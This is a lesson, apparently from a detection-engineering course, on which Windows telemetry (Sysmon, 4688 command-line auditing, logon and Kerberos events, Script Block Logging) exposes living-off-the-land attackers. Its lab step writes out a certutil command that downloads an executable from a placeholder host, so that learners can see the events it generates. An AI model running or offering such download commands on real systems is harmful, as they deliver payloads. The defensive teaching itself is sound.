Lesson 1 of 9 · 20m
Choosing Telemetry That Sees Attackers
AV alerts and firewall logs will not catch a living-off-the-land intruder. Here is the telemetry that actually does.
Your org finally buys a SIEM, forwards every log source someone could find, and hands it to you: "do detection." Six months later the console is full of firewall accepts and AV quarantines, and an attacker running certutil on a file server generates zero alerts. The problem was never the SIEM — it was the telemetry. Attackers spend most of their time doing things that look like administration. If your data sources cannot see administration, they cannot see attackers.
The telemetry that earns its cost
Process creation with full command lines is the single highest-value source on Windows. Two ways to get it:
- Security Event ID 4688 — native, no agent, but it does not include the command line unless you enable Include command line in process creation events (GPO: Administrative Templates → System → Audit Process Creation). Everyone forgets this checkbox.
- Sysmon Event ID 1 — Microsoft's free Sysinternals driver. It logs the command line plus MD5/SHA256/IMPHASH of the binary, a
ProcessGuidyou can join parent and child events on, and integrity level.
Install Sysmon with a community-tuned config — the default logs everything and filters nothing:
sysmon64.exe -accepteula -i sysmonconfig.xmlThe classic baseline is SwiftOnSecurity's sysmonconfig.xml; sysmon-modular (Olaf Hartong) is the more actively maintained, per-module alternative. Either beats the default.
Beyond process creation
The Sysmon events that earn their volume:
| EID | What it catches | Why it matters |
|---|---|---|
| 3 | Network connection | C2 beacons, certutil downloads |
| 10 | Process access | lsass.exe opened for credential dumping (T1003.001) |
| 11 | File create | Payload drops, temp-directory writes |
| 22 | DNS query | Domain attribution even when the process forgets |
Then authentication telemetry: Security 4624/4625 with LogonType (3 = network, 10 = remote interactive/RDP), 4740 lockouts, and Kerberos 4768/4769 for ticket abuse. And on endpoints that run scripts, enable PowerShell Script Block Logging (event 4104) — it captures the decoded script, which is what -enc hides from you.
Try this
On a Windows VM: enable command-line auditing, install Sysmon with a community config, then run certutil -urlcache -split -f http://example.com/x.exe out.exe. Find the EID 1 and EID 11 in Microsoft-Windows-Sysmon/Operational via Event Viewer. If you can't find them in five minutes, fix that before writing any rules.
Field notes
- Volume is a design constraint, not a brag. EID 3 and EID 22 on a busy server will drown a small pipeline — filter known-noise processes in the Sysmon config, not downstream.
- Every source has a blind spot. Sysmon does not see .NET assemblies loaded in-memory; AMSI and ETW exist for that. Write your blind spots down — you will need them when someone asks "would we have caught X?"